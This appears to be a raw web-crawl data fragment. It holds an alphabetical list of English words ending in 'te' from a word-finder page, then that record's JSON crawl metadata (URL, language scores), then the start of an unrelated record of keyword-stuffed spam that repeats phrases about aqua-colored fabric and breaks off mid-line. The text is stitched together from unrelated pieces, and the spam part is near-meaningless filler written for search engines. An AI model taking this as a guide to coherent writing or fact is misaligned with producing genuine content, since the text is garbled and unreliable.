luddite lunate luncheonette lunette lunulate lustrate lute lutite luxate luxulianite luxullianite luxulyanite luxuriate lychgate lycophyte lyddite lymphocyte lymphoidocyte lymphomonocyte lyrate lysate lyte macadamite macerate machete machicolate machinate macroaggregate macrobiote macroclimate macrocyte macroestimate macrogamete macrogametocyte macrogametophyte macroinvertebrate macrometacryptozoite macroparasite macroperforate macrophagocyte macrophanerophyte macrophyte maculate madreporite magazinette magistrate magnate magnesite magnetite magnetoplumbite magnoliophyte maisonette maisonnette majorette makebate malachite malamute malappropriate malate malaxate maleate malemute malleate malonate mamillate mammate mammillate mammonite mancipate mandarinate mandate mandibulate manducate manganate manganite mangouste mangulate manipulate mannite mansuete maquette marcasite margarite margate marginate margravate margraviate marguerite marialite marinate marionette marlite marmite marprelate marquessate marquisate marquisette martensite masonite masterate masticate mastocyte masturbate mate matelote matelotte matriarchate matriculate matte maturate maximite mebibyte meconate mediate medicate medioperforate meditate medullate megabyte megagamete megagametophyte megakaryocyte megalocyte megalokaryocyte megaloplastocyte megaphanerophyte megaphyte megasporocyte megavertebrate meiocyte meionite melaconite melanite melanocyte melanterite melilite melinite meliorate mellite mendicate menilite meniscate menstruate mensurate meprobamate mercurate mercuriate merocyte meropodite merozoite mesohydrophyte mesohygrophyte mesolite mesoparasite mesophanerophyte mesophyte mesoxerophyte mesquite messmate metabolite metacinnabarite metallophyte metaphosphate metaphyte metaplumbate metasilicate metasomatite metate mete meteorite meteorolite methacrylate methanate methotrexate methylate methylcarbamate methylphenidate metricate metropolitanate mezquite micate microcassette microclimate microcyte microencapsulate microestimate microfabricate microfelsite microfiltrate microgamete microgametocyte microgametophyte microgliacyte microgranite microinvertebrate microlite micrometacryptozoite micrometeorite microparasite micropegmatite microphagocyte microphanerophyte microphyte micropipette microplastocyte microplate microporphyrite micropropagate microsatellite microsite microspherulite microsporangiate microsporocyte microstate microthermophyte microtitrate micturate midinette midshipmate migmatite mignonette migrate militate millerite mimetite minette miniate minicassette ministate minute misallocate misappreciate misappropriate misarticulate misate misattribute miscalculate miscegenate miscite miscommunicate miscompute misconjugate miscorrelate miscreate misdate misdistribute miseducate misestimate misevaluate misfortunate mislocate mismate misnarrate misnavigate mispunctuate misquote misrate misregulate misrelate misroute misstate mistranslate misvote miswrite miswrote mite mithridate mitigate mizzonite modderite moderate modiste modulate mofette moffette moldavite molybdate molybdenite molybdofornacite molybdomenite molybdophyllite monazite monchiquite monetite mongolite monoacetate monocarpellate monochromate monocyte monoflagellate monoglutamate monohydrate monohydrocalcite monolaurate monomethylate mononitrate mononucleate monopalmitate monophosphate monophysite monophyte monoptote monosaturate monostearate monothelete monothelite monounsaturate monoxalate monte monticellite monticulate montmorillonite monzonite moquette morcellate mordenite morganite morigerate moschate moste motivate motte mouvemente mozette mozzette mucate mucronate mugearite mullite multarticulate multiarticulate multibranchiate multibyte multicamerate multicanaliculate multicapitate multicostate multicuspidate multidentate multidigitate multiflagellate multifoliate multifoliolate multigate multigranulate multijugate multilamellate multilaminate multilobate multilobulate multiloculate multimammate multinucleate multinucleolate multiovulate multipartite multiperforate multiplicate multirate multisegmentate multiseptate multiseriate multisite multistate multisulcate multivariate multungulate munite munitionette muriate muricate muscovite musette mussitate mutate mute muticate mutilate mycetocyte mycocyte mycophyte myelinate myelocyte myelolymphocyte mylonite myocyte myosote myristate myrmecophyte mysticete myxocyte myxoflagellate myxomycete nacrite naivete namaste nameplate nanocomposite nanocrystallite nanoencapsulate nanofabricate nanoparticulate nanophanerophyte nanopipette naphthalate napoleonite narrate nasute natrobistantite natrolite nauseate navette navigate necessitate necrocyte necrophyte nedette negate negotiate nematocyte neocyte neonate neophyte nephelinite nephelite nephrite nephrocyte nerite nervate nesosilicate netiquette neurite neurocyte neurodendrite neurogliacyte neutrocyte niccolite nictate nictitate nidate nidificate niobate niobite nitrate nitrite nitrobarite nitrobenzoate nitrogenate nitrophthalate nitrophyte nizamate nobilitate noctambulate nodulate noisette nominate nomothete nonaggregate nonarticulate nonaspirate nonathlete nonbarbiturate nonbranchiate noncandidate noncarbohydrate noncarbonate noncertificate noncollegiate noncolumellate noncomplete noncomposite noncorporate noncultivate noncuspidate noncute nondate nondebate nondefinite nondegenerate nondelegate nondeliberate nondeterminate nondeviate nonduplicate nonelectrolyte nonelite nonette nonfinite nonflagellate nonfoliate nongraduate nonimbricate noninitiate nonintermediate nonintimate nonisolate nonlate nonlegitimate nonliterate nonmate nonmoderate nonmultivariate nonmute nonnucleate nonoblate nonobligate nonobsolete nonocellate nonparasite nonparticulate nonphosphate nonradulate nonreplicate nonseptate nonsilicate nonsimulate nonstromatolite nonsubordinate nonsyndicate nonundulate nonvertebrate nonwhite norbergite norite normocyte noselite nosophyte notate note notoungulate notungulate novaculite novelette noviciate novitiate nucleate nucleolate nudibranchiate nudicaudate numberplate numerate nummulite nuncupate nutate nymphette obcordate obdurate obfuscate objectivate objurgate oblanceolate oblate obligate obliquicanaliculate obliterate obnubilate obovate obsagittate obsecrate obsignate obsolete obstetricate obstinate obstreperate obtemperate obtruncate obturate obumbrate obviate obvolute occupate oceanophyte ocellate ochreate ocreate octahedrite octette octuplicate oculate oddpinnate odonate odontocete odontolite odorate oenanthylate oenocyte officemate officiate offsite oleate oligochaete oligodendrocyte olivenite ombrophyte omelette omoplate omostegite omphacite oncocyte oncolite onsite onychite oocyte oogamete ookinete oolite oomycete oophyte operate operculate ophicalcite ophiolite ophite opiate oppignerate oppignorate oppilate opposite optimate orate orbiculate orchestrate ordinate orecchiette organophosphate orientate originate ornate ornithichnite orophyte orthoborate orthoclasite orthoformate orthogranite orthophosphate orthosilicate oscillate oscitate osculate osmate osmiate osmolyte osseointegrate osteochondrophyte osteocyte osteophyte ostiate ostiolate ostomate otolite ottrelite oubliette outate outcaste outcompete outdate outdebate outgate outmanipulate outmate outpopulate outquote outrate outskate outstate outvote outwaste outwrite outwrote ouverte ovalocyte ovate overaccelerate overaccentuate overaccommodate overaccumulate overacute overaerate overagitate overallocate overapproximate overarticulate overate overattenuate overbite overcalculate overchlorinate overcirculate overcommunicate overcompensate overcomplicate overconcentrate overconsiderate overcontribute overcoordinate overcultivate overdate overdebate overdecorate overdedicate overdeliberate overdelicate overdeviate overdifferentiate overdilate overdilute overdiscriminate overdistribute overdomesticate overdominate overduplicate overeducate overelaborate overelevate overemote overemulate overestimate overevaluate overexaggerate overexcite overgenerate overhaste overhate overhydrate overillustrate overimitate overinflate overinhalate overinsulate overirrigate overlactate overlate overlegislate overlubricate overmanipulate overmedicate overoperate overorchestrate overpopulate overprocrastinate overproliferate overpromote overproportionate overrate overregulate oversaturate oversecrete oversedate overspeculate overstate overstimulate overventilate overvote overwrite overwrote ovocyte ovulate oxalacetate oxalate oxalileucite oxaloacetate oxgate oxidate oxycarbonate oxygenate oxygenerate oxyhydrate oxylophyte oxymuriate oxynitrate oxyphyte oxysulfate oxysulphate ozocerite ozokerite ozonate pacificate paginate paillette palaeoclimate palaeophyte palafitte palagonite palamate palate palatinate palatoquadrate paleate paleoclimate paleophyte palette pallette palliate palmate palmatipartite palmette palmitate palpate palpebrate palpitate pandermite pandurate paniculate pantalette pantothenate papilionate papillate papillulate papulate parachute paraclete paraglossate paragonite parakite paranete parapente paraphysate paraphyte paraquadrate parasite pardalote pargasite parhypate parietoquadrate paripinnate parkette parlante participate particulate partite parvifoliate passionate passivate paste pastorate pate patellate patinate patriarchate patriate patriciate patte pauciarticulate paucidentate paucifoliate paucigranulate paucigranulocyte paucijugate paucinervate paucipinnate pauciplicate pauciradiate paupiette pearlite pearlywhite pebibyte pectate pectinate pectolite peculate pedate pedicellate pediculate pedunculate pegmatite pejorate pelite peltate pendulate penetrate penicillate peninsulate penlite pennate penninite pentacetate pentahydrate pentahydrite pentahydroborite pentathlete pentlandite penultimate pepsinate pequiste peracetate peracute perambulate perborate perchlorate perchlorinate percolate peregrinate perennate perfectionate perfluorinate perfoliate perforate perfusate periclitate pericyte peridote peridotite periodate periosteophyte peripenultimate peristerite peristriate perlite perlustrate permanganate permeate permutate permute pernoctate perorate perovskite peroxidate peroxyborate peroxyborinate perpetrate perpetuate perquisite persecute perseverate personate perspirate persulfate persulphate persulphocyanate perthiocyanate perthite perthophyte perturbate pertusate perulate pervaporate perviate pesante petabyte petalite petiolate petite peyote phacolite phaeochromocyte phaeophyte phagocyte phanerophyte pharmacosiderite phenacite phenakite phenate phengite phenolate phenolsulphonate phenylate phillipsite phlebolite phlogisticate phlogopite phonate phonolite phorate phorophyte phosgenite phosphate phosphite phosphoenolpyruvate phosphoglycerate phosphonate phosphorate phosphorite phosphorylate phosphosilicate photoactivate photocatalyte photocoagulate photodisintegrate photodissociate photoduplicate photoinitiate photophosphorylate photophyte photoreactivate photostimulate photosynthate phototheodolite phreatophyte phthalate phycomycete phycophyte phyllite phyllophyte phyllosilicate phytoflagellate pianette pianiste pianoforte picante picote picotite picrate picrite piedmontite piemontite pierrette pigeonite pignerate pignorate pilate pileate pinacocyte pinakiolite pinealocyte pinite pinnate pinnatipartite pinnulate pinophyte pipette pirate pirouette pisolite piste pistillate pittite pituicyte pituite pixilate placate placcate placentate plagioclasite planate planchette planogamete planulate plaquette plasmacyte plasmocyte plaste plate plaudite playdate playmate plebiscite pleonaste plicate ploughgate plumate plumbate plumbite plumboferrite plumbomicrolite plumulate pluricuspidate pluriflagellate pluriovulate pluriseriate pneumocyte pneumonocyte pochette pococurante podite podocyte podophthalmite poikilocyte pointe pointilliste polarite polianite polite pollenate pollinate pollucite pollute polocyte polyalkylacrylate polybasite polybrominate polycarbonate polycarboxylate polychaete polychete polycyanoacrylate polyelectrolyte polyembryonate polyflagellate polyglutamate polyhalite polyhydroxyalkanoate polyhydroxybutyrate polyisocyanate polykaryocyte polymastigate polymethacrylate polymignite polymignyte polymorphonucleate polynucleate polyphosphate polypite polysorbate polysulfonate polysulphonate polytungstate polyunsaturate pomegranate pomegranite ponderate pontificate popette poplinette populate porcelainite porcelanite porcellanite porocyte porphyrite porphyrogenite porporate portate porte possessionate postbaccalaureate postcollegiate postdate postdebate postdebutante postdoctorate postflagellate postgraduate posthaste postillate postliterate postulate potentate potentiate poussette powellite powermate prasinophyte prate preaccommodate preaccumulate preactivate preadamite preadipocyte preagitate preallocate preambulate preantepenultimate preanticipate precalculate precelebrate preceptorate precipitate precirculate precollegiate precommunicate precompensate precompute preconcentrate precongratulate preconsolidate precontemplate precontribute precultivate predate predebate prededicate predegenerate predelegate predeliberate predelineate predentate predesignate predestinate predeterminate predevote predicate prediscriminate predistribute predominate preeducate preejaculate preequilibrate preestimate preevaporate preexcite prefabricate prefigurate preflagellate preformulate pregenerate prehnite preignite preinoculate preinsulate preinvestigate preinvite preirrigate preisolate prejudicate prelate prelimitate preliquidate preliterate prelocate premedicate premeditate premyelocyte prenecessitate prenegotiate prenominate prenote preobligate preoccupate prepaste prepenetrate preponderate prepromote prerequisite preroute presbyte presbyterate preseparate prestate prestimulate pretaste preterite pretranslate preunite prevaccinate prevaricate primate principate priorate private probate procaryote prochlorophyte proconsulate procrastinate procreate proette professorate professoriate profligate progenerate prognosticate progranulocyte prokaryote prolate prolatocanaliculate proletariate proleucocyte proleukocyte proliferate prolongate promegalocyte promonocyte promote promulgate promuscidate promyelocyte pronate propagate propenultimate propionate propitiate proportionate propreantepenultimate propylite prorate prorogate prosecute proselyte prostate prostitute prostrate protectorate protochordate protoepiphyte protohemicryptophyte protoimogolite protoleucocyte protoleukocyte protonate protophyte protopteridophyte protovermiculite protuberate proustite provocate proximate prozymite prussiate prymnesiophyte psammite psammophyte psephite pseudobranchiate pseudocoelomate pseudoeducate pseudohermaphrodite pseudoleucocyte pseudoleukocyte pseudometallophyte pseudorosette psilophyte psychrophyte pteridophyte pterophyte pullulate pulmobranchiate pulmonate pulsate pulvinate pumicate pumicite punctate punctuate punctulate pupate pupillate purpurate pustulate pycnite pyocyte pyrargyrite pyreneite pyrite pyrochroite pyrochromate pyrogallate pyrolignite pyrolite pyrolusite pyrolysate pyrolyzate pyromorphite pyrophosphate pyrophyllite pyrophyte pyrostilpnite pyrosulfate pyrosulfite pyrosulphate pyrosulphite pyrotartrate pyroxenite pyroxferroite pyroxmangite pyrrholite pyrrhotite pyruvate quadrate quadriannulate quadriarticulate quadricapsulate quadricuspidate quadrifoliate quadrigeminate quadripartite quadristearate quadroxalate quadrumvirate quadruplicate quantitate quarte quartette quartzite quate quaternate qubyte queenite qugate quinate quinolate quinovate quinquecostate quinquedentate quinquefoliate quinquefoliolate quinquelobate quinqueovulate quinquepartite quinquetuberculate quinquevirate quinte quintette quintuplicate quite quixote quorate quote quyte rabatte rabbinate rabbinite racemate racemomethylate raclette radiate radicate radioactivate radiobarite radiocommunicate radiolite radiolocate radulate radwaste raffinate raindate ramate raphidophyte ratbite rate ratiocinate ratite ravigote ravigotte reaccelerate reaccentuate reacclimate reaccommodate reaccrete reaccumulate reactivate reactuate readjudicate readministrate readvocate readwrite reaerate reaffiliate reaggravate reaggregate reagitate realestate realienate reallocate reamalgamate reanimate reannotate reappropriate reapproximate rearbitrate rearticulate reassimilate reassociate reate reattribute reauthenticate rebate rebite rebute recalcitrate recalculate recalibrate recanulate recapitulate recaptivate recarbonate recelebrate recertificate rechate recidivate reciprocate recirculate recite reclinate recoagulate recogitate recollate recommunicate recompensate recompete recomplicate recompute reconcentrate reconciliate recondite reconfiscate recongratulate reconsecrate reconsolidate reconstitute recontaminate recontemplate recontribute recrate recreate recriminate rectorate recultivate recuperate recurvate recyclate redate redecorate rededicate redelegate redelete redeliberate redemonstrate redesignate redictate redifferentiate redilate redingote redintegrate redistribute redominate redruthite reduplicate reeducate reelevate reemigrate reenumerate reenunciate reequilibrate reescalate reestimate reevacuate reevaluate reexcavate reexecute refabricate reflate refocillate reformate reformulate refrigerate refrustrate refumigate refute regelate regenerate regerminate regraduate regrate regulate regurgitate rehabilitate rehumiliate rehydrate rehypothecate reignite reilluminate reillustrate reimpregnate reinaugurate reincarcerate reincarnate reincite reincorporate reincubate reindicate reindoctrinate reinette reinfiltrate reinflate reinitiate reinnervate reinoculate reinstantiate reinstate reinstitute reinsulate reintegrate reinterrogate reintubate reinvestigate reinvigorate reinvite reirradiate reirrigate reisolate reiterate rejuvenate relate relegate reliberate reliquidate relocate relubricate reluctate remate remediate remethylate remigate remigrate remonstrate remote remotivate remunerate remutate remyelinate renarrate renavigate renegate renegotiate renominate renotate renovate rensselaerite rente renucleate renumerate renunciate reobfuscate reobligate reoperate reorchestrate reordinate reorientate reoxygenate repaginate reparticipate repaste repatriate repenetrate repercolate reperforate reperpetrate rephosphorylate replate replete replicate repollute repopulate repostulate reprecipitate repristinate reprobate reproliferate repromote repropagate reprosecute repudiate repunctuate repute requisite requite requote reradiate reregulate reroute resalute resegregate resegregrate reseparate resimulate resinate resite resituate reslate resolute resonate respirate respite restate restimulate restipulate restitute resublimate resubstitute resupinate resuscitate resyndicate retabulate retaliate retardate retaste reticulate reticulocyte retinalite retinite retraite retranslate retrate retriangulate retribute retrodeviate reunite reupdate revacate revaccinate revalidate revaluate revegetate revendicate reventilate reverberate revibrate revindicate reviolate revolute revote rewrite rewrote rheophyte rhinocerote rhipidate rhipidoglossate rhizoflagellate rhizophyte rhodanate rhodochrosite rhodocyte rhodolite rhodonite rhodophyte rhyniophyte rhyolite ridgeplate riebeckite rifte rimocanaliculate ripidolite riposte rite roate roburite rolamite rollerskate romanicite ronte roomette roommate roquette roseate rosette rosinate rostellate rostrate rostrocarinate rosulate rotachute rotate rotavate rote rotovate rotte rotundate roulette roussette route rubellite rubricate rudite rugate ruinate ruminate runagate runcinate ruralite rusticate rute sacahuiste saccate saccharate sacculate sagenite saginate sagittate salicylate salinate salivate saltate salute salvete samarskite samite sandmite sanitate saponate saponite sapote saprolite sapropelite saprophyte sarcocyte sassolite sate satellite satiate satinette satrapate saturate sauceplate saussurite saute savante savate saxonite scammoniate scaphocapitate scapolite scawtite scelerate scheelite schistocyte schizocyte schizomycete schizophyte schmatte scholasticate schoolmate schorlomite scintillate sciophyte sclate sclerite sclerocyte sclerodermite scolecite scopate scopulate scorodite scratchplate screwplate scrobiculate scrote scutate scute scutellate scyphate seablite seatmate sebate sebocyte secretariate secrete sedate segholate segmentate segolate segregate selectorate selenate selenite selenocyte selfannihilate selfcalibrate selfdeprecate selfdepreciate selfdevote selfeducate selfgenerate selfinflate selfmedicate selfpollinate selfpropagate selfregulate selfreplicate selfvalidate semiepiphyte semiliterate semilunate semimatte semimute seminate semipalmate semiparasite semipennate semiprivate semisaprophyte semiterete senarmontite senate sensate sente separate sepiolite septate septemvirate septennate septette septuplicate sequestrate seraskierate serenate seriate sericate sericite serinette sermonette serpentinite serpulite serrate serratulate serrulate serviette sesquicarbonate sesquihydrate sesquiplicate sesquiquadrate sesquisilicate sesquisulfate sesquisulphate sestette sexpartite sextette sextuplicate sheepcote shergottite shikimate shipmate shite shmatte shogunate shote shotte shute sibilate sidenote sideplate siderate siderite siderocyte siderolite sienite sigillate sigmate significate silhouette silicate silicoaluminate silicoaluminophosphate silicododecamolybdate silicododecatungstate silicoflagellate silicotitanate silicotungstate sillimanite silverplate simetite simplicidentate simpliste simulate sinopite sinuate sinupalliate siphonate sirvente site situate sixte skate skiophyte skite sklate skutterudite skyte skywrite skywrote slainte slate sluicegate smaltite smaragdite smectite smifligate smite smithsonite smoothpate smote snackette snakebite snaste socialite sociate sockette sodalite sodomite softpaste solate solenette solenocyte soleplate solidate solidstate solidungulate solmisate solmizate solute solvate somatophyte sombrerite somegate somite somnambulate somniate sonicate soote sophisticate sopite soporate sorbate sorbite sordamente sorediate sororate sorosilicate soubrette soulmate soundbite soupplate spaniolate spate spathulate spatulate speciate specificate spectate spectrolite speculate spermaphyte spermatocyte spermatophyte spermiate spermophyte sperrylite spessartite sphacelate sphaerite sphaerosiderite sphaerulite sphalerite sphenophyte spherocobaltite spherocyte spherulate spherulite sphincterate spicate spiculate spifflicate spiflicate spilite spilosite spinate spinette spinnerette spinulate spiraculate spirochaete spirochete spite splenocyte spoliate spongiocyte sporocyte sporophyte sporozoite sporulate sprite spumante squamate stabilate stablemate stacte stadholderate stadtholderate stagnate stakhanovite stalactite stalagmite stalemate staminate stannate stannite starlette state statuette statute staurolite steadystate stearate stearsmate steatite steelplate steersmate stellate stellionate stellite stellulate stephanite stercorate stereobate sternite sternutate stibnite stilbite stilpnosiderite stimulate stipellate stipendiate stipitate stipite stipulate stishovite stockinette stockroute stokesite stolonate stomate stomatocyte storiette storyette strangulate straticulate streptomycete streptophyte strette striate stridulate strigate striopallidodentate strobilate stromatolite strontianite strophiolate stuprate stylate stylite stylobate stylolite styte subacetate subacute subaggregate subalternate subarcuate subcaste subchelate subclavate subcollegiate subcordate subcultrate subdeaconate subdebutante subdiaconate subduplicate suberate subimbricate subindicate subinfeudate subirrigate subjugate sublanceolate sublate sublimate subliterate sublunate subluxate subnote subordinate subovate subpedunculate subpetiolate subplate subprimate subrogate subsatellite subsite subspathulate substantiate substate substitute substrate substriate subsulfate subsulphate subtemperate subtriplicate subulate subungulate suburbanite subvertebrate subvote succenturiate succinate succinite sucralfate sudate suedette suffete sufflate suffocate suffragette suffumigate sugilite suite suivante sulcate sulfamate sulfate sulfhydrate sulfite sulfobenzoate sulfoglycolithocholate sulfonate sulfoxylate sulfoxyphosphate sulfozincate sulfurate sulfurette sulphate sulphite sulphobenzoate sulphocarbolate sulphocyanate sulphonate sulphoxylate sulphoxyphosphate sulphozincate sulphurate sulphurette sultanate summate superaccurate superacetate superactivate superacute superannuate superate superathlete superconglomerate supercute supereducate superelevate superelite supererogate superette superfetate superfoetate supernate superordinate superovulate superoxalate superoxygenate superphosphate superpolite supersaturate superstate superstimulate supersulfate supersulphate supertartrate supervolute supervote supinate supplicate suppurate surbate suricate surrogate suscitate suspercollate sustentate susurrate svelte sybarite syenite syllabicate sylvanite sylvinite sylvite symbiote synadelphite synapte syncopate syncraniate syndesmophyte syndicate synkaryophyte synoecete synoekete syntagmatite synurophyte syrette tablanette tablemate tabulate tachiste tachyglossate tachyhydrite tachylite tachylyte tachyzoite taconite taeniate tailbite tailgate talliate tanaiste tannate tantalate tantalite tanzanite tartrate taste taurodeoxycholate taxite teammate tebibyte tectibranchiate tectite tectosilicate tektite telecommunicate telecommute telecompute teleophyte telestrate televerite tellurate tellurite temperate tempestite template tennantite tenocyte tenophyte tenorite tentaculate tentaculite tentmate teosinte tephrite tephroite terabyte terebrate terephthalate terete tergite tergiversate terminate termite ternate terneplate terracette teschenite tesselate tessellate testate teste testiculate testificate tetraacetate tetrabranchiate tetracuspidate tetradite tetradymite tetrafluoroborate tetrahedrite tetrahydrofolate tetrapinnate tetraptote tetrarchate tetratheite tetrathionate tetrathiophosphate tetrathlete tetroxalate thalamostriate thalassiophyte thalassophyte thallophyte thaumasite thecate thenardite theodolite theologate theralite thermette thermite thermoregulate thermostimulate therophyte thesmothete thesocyte thete thioacetate thiobarbiturate thiobenzoate thiocarbamate thiocyanate thiomolybdate thionate thiosulfate thiosulphate thiotriphosphate tholeiite tholobate thorianite thorite thrombocyte thrombolite thulite thwaite thymocyte thyrocyte tiddivate tidivate tiemannite tillite tinguaite tinplate tintinnabulate titanate titanite tite titilate titillate titivate titrate tittivate titubate toccate toeplate togate toilette toilinette tolerate tollgate toluate tonalite tonette tonite toothpaste toothplate topazite topazolite torbanite torbernite tornote torquate torte tote totemite totipalmate towelette townsite toxophilite trabeate trabeculate tracheate trachelate tracheophyte trachyte tractate trailerite trampette transaminate transeptate transfinite transilluminate translate transliterate translocate transmigrate transmutate transmute transpirate transubstantiate transubstantiationite transudate transvaluate transverberate transvestite treadplate tremolite tremulate trephocyte triacetate triangulate triannulate triarchate triathlete tribulate tribunate tribute trichite trichocyte trichomaphyte trichophyte tricolette tricorporate tricostate tricuspidate tridentate tridymite trifidate triflagellate trifoliate trifoliolate trifurcate trihydrate trihydrite trijugate trilaminate trilineate trilobate trilobite trimethylate trinitrate tripartite triphosphate triphylite tripinnate triplicate triplite triptote tripudiate triradiate tristate triste trisulcate trisulfate trisulphate trite triternate tritheite trithiocarbonate trithionate trithiophosphate tritiate trituberculate triturate triumvirate trochite troctolite troglodyte troilite troostite trophocyte trophophyte trophozoite tropophyte truncate tryste tubate tuberculate tubocanaliculate tubulate tuillette tumultuate tungstate tungstenite tungstibite tungstite tunicate turbidite turbinate turfite turgite turnplate turriculate twaite twinnite twite tycoonate tylote typewrite typewrote tyte ubiquinate uintahite uintaite ulcerate ulexite ulsterette ultimate ultraconcentrate ultracrepidate ultradelicate ultradiscrete ultrafiltrate ultraintimate ululate ulvophyte umangite umbellate umbellulate umbilicate umbonate umbraculate umbrette unabate unaccumulate unadulterate unaffectionate unakite unalienate unappropriate unarticulate unbraste uncaptivate uncate unchaste uncinate uncompassionate uncomplete unconsecrate unconvolute uncrate uncreate uncute undate undefinite undegenerate undelete undeliberate underaccelerate underaccentuate underaccommodate underaccumulate underaerate underallocate underapproximate underarticulate underate underattenuate underbite undercalculate undercontribute undercoordinate underdate underdebate underdeviate underdifferentiate underdilate underdilute underdistribute underduplicate underelevate underestimate undergenerate undergraduate undergraduette underhydrate underinflate underinhalate underinsulate underirrigate undermanipulate undernote underplate underpromote underquote underrate underregulate undersaturate undersedate understate understimulate underventilate undervote underwrite underwrote undeterminate undilute undomesticate undulate uneducate unelaborate unfavorite unfiltrate unfortunate unguiculate ungulate unicolorate unicornuate unicostate unicuspidate unifenestrate uniflagellate unifoliate unifoliolate unijugate unilabiate unilluminate unilobate uninflate uninitiate uninucleate unipartite uniseptate uniseriate unite univariate unlaste unmotivate unmute unnecessitate unoriginate unornate unpassionate unpolite unproportionate unquote unregenerate unregulate unrequisite unsatiate unsaturate unsmote unsoote unsophisticate unstate unwhite unwrite unwrote update uprate upregulate upstate uralite uraninite uranite uranmicrolite urate urbanite urceolate urinate urite urochordate urosomite urostegite uroxanate urticate usherette ustulate utriculate uvarovite vacate vaccinate vacillate vacuate vacuolate vaginate valerate valete validate vallate valleculate valproate valuate valvate vamplate vanadate vanadiate vanadinite vapulate variate varicellate variegate variolate variolite variscite vasodilate vaticinate vaute vawte vedette vedute vegelate vegemite vegetate vegete velate vellicate veloute venenate venerate venite ventilate verberate verbigerate verdite verite verkrampte verligte vermiculate vermiculite verminate verslibriste verste versute vertebrate vertibrate verticillate vesicate vesiculate vesuvianite vexillate vibrate vicarate vicariate viciate vicomte videocassette vidette vigilante vignette vinaigrette vindemiate vindicate vinegarette vinegarrette vinylate violate virgate virgulate viridite visagiste viscerate visite vitiate vitilitigate vitriolate vittate vituperate vivamente vivianite vizierate vizirate vociferate volante volitate volte volute volvate vote vulcanisate vulcanite vulcanizate vulgate vulnerate vulpinite vulvate waggonette wagonette waite waldflute wallplate wardmote waste wavellite waveplate website weete wefte wellsite wernerite whewellite white willemite winceyette wite witenagemote witherite wolframate wolframite wollastonite woodspite workmate wrate write wrote wulfenite wurtzilite wurtzite wyandotte wyte xalostocite xanthate xanthite xanthoconite xanthogenate xanthophyllite xanthophyte xanthopicrite xanthosiderite xenolite xenoparasite xenophyte xeromesophyte xerophyte xylonite yente yokemate yottabyte yperite ytterbite zante zaratite zeagonite zeolite zeophyllite zettabyte zeuxite zincate zincite zinckenite zincochromite zincolyte zincospiroffite zincostaurolite zinkenite zirconate zircophyllite zircosulfate zircosulphate zite zlote zoisite zonate zoocoenocyte zooflagellate zoogamete zoolite zoonite zooparasite zoophilite zoophyte zopilote zorgite zosterophyllophyte zygobranchiate zygomycete zygophyte zygote zymite zymophosphate zymophyte zyophyte","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.litscape.com\/words_mammoth_uncensored\/word_endings\/e\/words_ending_in_te.html","date":"2019-04-23T16:06:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578605555.73\/warc\/CC-MAIN-20190423154842-20190423180014-00031.warc.gz","language":"ina","language_score":0.4757755995,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.4757755994796753, \"eng_Latn_score\": 0.228904590010643, \"lat_Latn_score\": 0.04130837321281433, \"sid_Latn_score\": 0.022810952737927437, \"mlt_Latn_score\": 0.019783474504947662, \"nap_Latn_score\": 0.015853101387619972, \"ita_Latn_score\": 0.013755377382040024, \"enm_Latn_score\": 0.011409890837967396, \"fin_Latn_score\": 0.0110136354342103, \"bew_Latn_score\": 0.010923659428954124}","num_words":18314,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.094,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.474,"perplexity_score":14152.1,"cluster_detection":-1} +{"text":"aqua colored fabric chiffon pure silk dark sapphire aqua blue dark marine blue dark mint cream sea green fabric aqua blue fabric flowers aqua coloured fabric.\naqua colored fabric crepe pure silk light aqua blue fabric aqua blue upholstery fabric aqua blue fabric dye.\naqua colored fabric aqua blue tulle accordion pleated fabric for pleated dress mesh accordion pleats fabric accordion aqua blue quilting fabric aqua blue fabric dye.\naqua colored fabric aqua polyester fabric material textiles upholstery aqua blue fabric aqua blue fabric shower curtain.\naqua colored fabric silk blue fabric aqua blue blue sky blue blue blue pink egg blue turquoise flower names smooth elegant blue silk or satin can aqua blue fabric dye aqua blue fabric flowers.\naqua colored fabric fabrics are shown in 8 scale aqua blue fabric dye aqua blue fabric texture.\naqua colored fabric fabric cotton aqua blue patchwork geometric aqua blue velvet fabric aqua blue fabric material.\naqua colored fabric satin fabric roll aqua blue aqua blue fabric aqua blue fabric flowers.\naqua colored fabric buy pebble aqua blue indoor upholstery fabric aqua blue fabric aqua blue fabric shower curtain.\naqua colored fabric cotton quilt fabric pretty roses veronica aqua blue thirties floral product image aqua blue velvet fabric aqua blue fabric shower curtain.\naqua colored fabric aqua blue fabric texture aqua blue satin fabric.\naqua colored fabric zoom cotton baby blue aqua blue fabric flowers aqua colored quilt fabric.\naqua colored fabric aqua aqua blue fabric flowers aqua coloured fabric.\naqua colored fabric aqua blue chevron fabric sea glass watercolor coastal upholstery aqua blue quilting fabric aqua blue fabric material.\naqua colored fabric image 0 aqua blue upholstery fabric aqua blue fabric texture.\naqua colored fabric cyan blue aqua colored fabric textile material background texture closeup with sew linen stitch aqua blue sequin fabric aqua colored quilt fabric.\naqua colored fabric fabric cotton quilt aqua blue teal tonal stripe water beach boy blend aqua blue fabric shower curtain aqua blue fabric texture.\naqua colored fabric aqua diamond texture suiting woven fabric aqua colored quilt fabric aqua blue quilting fabric.\naqua colored fabric canvas home decor fabric in sky aqua blue fabric traders aqua blue fabric texture aqua coloured fabric.\naqua colored fabric aqua blue light blue white dot fabric spot on studio 3 aqua blue quilting fabric aqua blue upholstery fabric.\naqua colored fabric solids aqua blue quilt fabric aqua blue fabric dye aqua blue velvet fabric.\naqua colored fabric aqua blue fabric material aqua blue fabric texture.\naqua colored fabric aqua blue small white ring circle fabric aqua blue satin fabric aqua colored quilt fabric.\naqua colored fabric aqua linen fabric aqua blue fabric dye aqua blue fabric.\naqua colored fabric 2 of 4 vinyl supreme aqua blue marine pleated vinyl auto boat fabric by yard aqua blue quilting fabric aqua blue fabric texture.\naqua colored fabric cotton pure light aqua blue fabric aqua blue quilting fabric aqua blue fabric flowers.\naqua colored fabric p k lifestyles upholstery fabric dapper aqua dapper upholstery and aqua aqua blue fabric aqua coloured fabric.\naqua colored fabric geometric aqua blue fabric designer home decor fabric by the yard drapery curtain or upholstery fabric aqua blue fabric dye aqua blue sequin 